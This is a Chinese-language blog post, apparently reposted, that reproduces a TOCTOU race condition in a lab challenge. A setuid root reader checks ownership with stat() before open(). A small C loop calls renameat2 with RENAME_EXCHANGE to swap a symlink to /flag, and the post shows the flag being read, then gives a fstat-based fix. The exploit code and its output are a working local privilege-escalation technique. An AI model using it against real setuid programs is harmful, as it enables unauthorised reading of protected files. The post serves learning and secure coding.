漏洞复现 -- 条件竞争 -- TOCTOU

Posted crybaby

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现 -- 条件竞争 -- TOCTOU相关的知识,希望对你有一定的参考价值。

今天有点无聊在 YouTube 上瞎看

看到了 liveoverflow 的一个视频,提到 TOCTOU ,所以打算复现一下

via: https://www.youtube.com/watch?v=5g137gsB9Wk

demo 代码:

via: https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
    int fd;
    int size = 0;
    char buf[256];

    if(argc != 2) {
        printf("usage: %s <file>
", argv[0]);
        exit(1);
    }

    struct stat stat_data;
    if (stat(argv[1], &stat_data) < 0) {
        fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
        exit(1);
    }

    if(stat_data.st_uid == 0)
    {
        fprintf(stderr, "File %s is owned by root
", argv[1]);
        exit(1);
    }

    fd = open(argv[1], O_RDONLY);
    
    if(fd <= 0)
    {
        fprintf(stderr, "Couldn‘t open %s
", argv[1]);
        exit(1);
    }

    do {
        size = read(fd, buf, 256);
        write(1, buf, size);
    } while(size>0);

}

题目:

flag 位于 根目录:/flag

所有者:root

权限:0600 (只有所有者能读写)

# r00t @ FakeArch in / [0:41:05] 
$ ls -l /flag    
-rw------- 1 root root 17  6月 25 23:19 /flag

给出的一个由上面源代码编译出来的 可执行文件,可执行文件的设置了 s 权限

# r00t @ FakeArch in ~ [0:42:44] 
$ ls -l /tmp/readflag
-rwsr-sr-x 1 root root 17096  6月 26 00:41 /tmp/readflag

现在要用这个 可执行文件 去读取 flag

代码看起来是没有什么问题的,理论上我们不能读取 /flag 文件 的内容,因为

    if(stat_data.st_uid == 0)
    {
        fprintf(stderr, "File %s is owned by root
", argv[1]);
        exit(1);
    }

这个检查,检查了文件的 st_uid ,flag 文件的所有者是 root,所以 readflag 即使带了 s 权限,还是读取不了 flag 的内容

可以看 man 2 stat 中 对 stat 结构的描述,这个检查的意思是检查文件所有者的 uid 是不是 0 (也就是是不是 root,这个毋庸置疑,flag 文件的所有者肯定是 root

struct stat {
    dev_t     st_dev;         /* ID of device containing file */
    ino_t     st_ino;         /* Inode number */
    mode_t    st_mode;        /* File type and mode */
    nlink_t   st_nlink;       /* Number of hard links */
    uid_t     st_uid;         /* User ID of owner */
    gid_t     st_gid;         /* Group ID of owner */
    dev_t     st_rdev;        /* Device ID (if special file) */
    off_t     st_size;        /* Total size, in bytes */
    blksize_t st_blksize;     /* Block size for filesystem I/O */
    blkcnt_t  st_blocks;      /* Number of 512B blocks allocated */

    /* Since Linux 2.6, the kernel supports nanosecond
       precision for the following timestamp fields.
       For the details before Linux 2.6, see NOTES. */

    struct timespec st_atim;  /* Time of last access */
    struct timespec st_mtim;  /* Time of last modification */
    struct timespec st_ctim;  /* Time of last status change */

#define st_atime st_atim.tv_sec      /* Backward compatibility */
#define st_mtime st_mtim.tv_sec
#define st_ctime st_ctim.tv_sec
};

怎么才能绕过这个检查

可以试试给 flag 文件创建一个链接

# r00t @ FakeArch in ~ [23:29:56] 
$ ls -l /flag
-rw------- 1 root root 17  6月 25 23:19 /flag

# r00t @ FakeArch in ~ [23:30:06] 
$ ln -s /flag /tmp/flag

# r00t @ FakeArch in ~ [23:30:15] 
$ ls -l /tmp/flag     
lrwxrwxrwx 1 r00t r00t 5  6月 25 23:30 /tmp/flag -> /flag

看到这个链接的所有者是 r00t (我系统上的一个普通用户),试试看通过 软链接 去读取文件

# r00t @ FakeArch in /tmp [0:06:22] C:1
$ ./readflag /tmp/flag
Failed to stat /tmp/flag: Permission denied

不行。。。。

再次审计代码

    struct stat stat_data;
    if (stat(argv[1], &stat_data) < 0) {
        fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
        exit(1);
    }

    if(stat_data.st_uid == 0)
    {
        fprintf(stderr, "File %s is owned by root
", argv[1]);
        exit(1);
    }

    fd = open(argv[1], O_RDONLY);

这个写法存在一个 条件竞争(Race condition) 的漏洞

这里用的是 stat 函数,通过文件名去获取文件的 stat 结构,然后再判断文件的所有者,如果所有者不是 root 的话就打开它,这里从获取文件 stat 到读取并不是一步就能完成的,这两个操作有一定的时间差。

假设现在传入的是 /tmp/A 文件(st_uid=1000),它的所有者是 hacker(uid=1000),在执行完 stat(argv[1], &stat_data) 之后的那一个瞬间,我用另一个程序把 /tmp/flag/flag 的软链接 st_uid=1000) 重命名为 /tmp/A 这样的话,在 if 的检测中检查的是原本的那个 A 文件的 st_uid,而走到 open 的时候 argv[1] 虽然也是 /tmp/A 但是打开的却是原本的 /tmp/flag 文件,而这个文件是 /flag 的软链接,这样我们就能读出 /flag 的内容

这个需要很快去操作,把上面的 /tmp/flag (因为我们是普通用户不能直接操作 flag 文件,所以我们需要一个指向它的链接) 换成 /tmp/A

这里的 exphttps://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c

syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);

renameat2 系统调用

很重要的参数:RENAME_EXCHANGE

是交换文件名,原子性操作

man 手册里的描述

   RENAME_EXCHANGE
          Atomically  exchange  oldpath  and newpath.  Both pathnames must
          exist but may be of different types (e.g., one could be  a  non-
          empty directory and the other a symbolic link).

现在在 /tmp 目录下有三个文件

A:空文件

flag:根目录下面的 flag 文件的软连接

readflag:上面源码编译出来的 可执行文件(所有者:root,有 s 权限)

# r00t @ FakeArch in /tmp [13:34:57] 
$ ls -li A flag readflag
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag -> /flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

exp:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

编译 exp

gcc exp.c -o exp

开始:

# r00t @ FakeArch in ~ [13:38:30] 
$ ./exp /tmp/flag /tmp/A

可以看到,/tmp/A 和 /tmp/flag 的 inode 一直在变

# r00t @ FakeArch in /tmp [13:44:07] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:08] C:2
$ ls -li A flag readflag
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A -> /flag
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:08] 
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:09] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:09] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
ls: 无法读取符号链接‘flag‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:10] C:2
$ ls -li A flag readflag
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:10] 
$ ls -li A flag readflag
ls: 无法读取符号链接‘A‘: 无效的参数
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

# r00t @ FakeArch in /tmp [13:44:11] C:2
$ ls -li A flag readflag
ls: 无法读取符号链接‘flag‘: 无效的参数
43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag
45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag

现在试试看读取 flag

# r00t @ FakeArch in /tmp [13:45:34] 
$ ./readflag /tmp/flag
File /tmp/flag is owned by root

# r00t @ FakeArch in /tmp [13:45:35] C:1
$ ./readflag /tmp/flag
File /tmp/flag is owned by root

# r00t @ FakeArch in /tmp [13:45:36] C:1
$ ./readflag /tmp/flag

# r00t @ FakeArch in /tmp [13:45:36] 
$ ./readflag /tmp/flag
File /tmp/flag is owned by root

# r00t @ FakeArch in /tmp [13:45:37] C:1
$ ./readflag /tmp/flag
File /tmp/flag is owned by root

# r00t @ FakeArch in /tmp [13:45:37] C:1
$ ./readflag /tmp/flag
flag{y0u_get_1t}

我在第六次的时候成功读取 flag 的内容

fix:

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char* argv[]) {
    int fd;
    int size = 0;
    char buf[256];

    if(argc != 2) {
        printf("usage: %s <file>
", argv[0]);
        exit(1);
    }

    fd = open(argv[1], O_RDONLY);

    if(fd <= 0)
    {
        fprintf(stderr, "Couldn‘t open %s
", argv[1]);
        exit(1);
    }

    struct stat stat_data;
    if (fstat(fd, &stat_data) < 0) {
        fprintf(stderr, "Failed to stat %s: %s
", argv[1], strerror(errno));
        exit(1);
    }

    if(stat_data.st_uid == 0)
    {
        fprintf(stderr, "File %s is owned by root
", argv[1]);
        exit(1);
    }

    
    do {
        size = read(fd, buf, 256);
        write(1, buf, size);
    } while(size>0);

}

修复后的代码其实就是先打开文件,然后通过文件描述符去获取文件的 信息

这样就不存在文件名变更的问题了

举个例子吧

# r00t @ FakeArch in /tmp/demo [14:14:03] 
$ ls -i
173774 test

# r00t @ FakeArch in /tmp/demo [14:14:05] 
$ mv test test1 

# r00t @ FakeArch in /tmp/demo [14:14:21] 
$ ls -i
173774 test1

看到了吗,修改文件名其实影响不了文件的 inode ,在内核里面判断一个文件并不是依靠文件名

可以看看 openread 在 内核里面的实现

所以,先是用 open 打开文件,再通过文件文件描述符去获取文件 stat 结构,修改文件名是无效的,更直观一点的演示

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  int f = open("/tmp/demo/test", O_RDONLY);
  system("ls -l /proc/self/fd");
  getchar();
  system("ls -l /proc/self/fd");
  return 0;
}

技术图片

demo 运行到 getchar() 的时候我修改了 test 文件的文件名,修改后再查看 /proc/self/fd 的时候原本文件描述符 3 是指向 test 文件的,修改文件名后变成了指向修改后的文件名

直接看 liveoverflow 的视频演示:https://www.youtube.com/watch?v=1hScemFvnzw

溜~

以上是关于漏洞复现 -- 条件竞争 -- TOCTOU的主要内容,如果未能解决你的问题,请参考以下文章

漏洞复现——httpd换行解析漏洞

条件竞争漏洞

漏洞预警MySQL/MariaDB/PerconaDB-提权/条件竞争漏洞(附POC)

CVE-2019-0232漏洞复现

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

CVE-2019-0708漏洞复现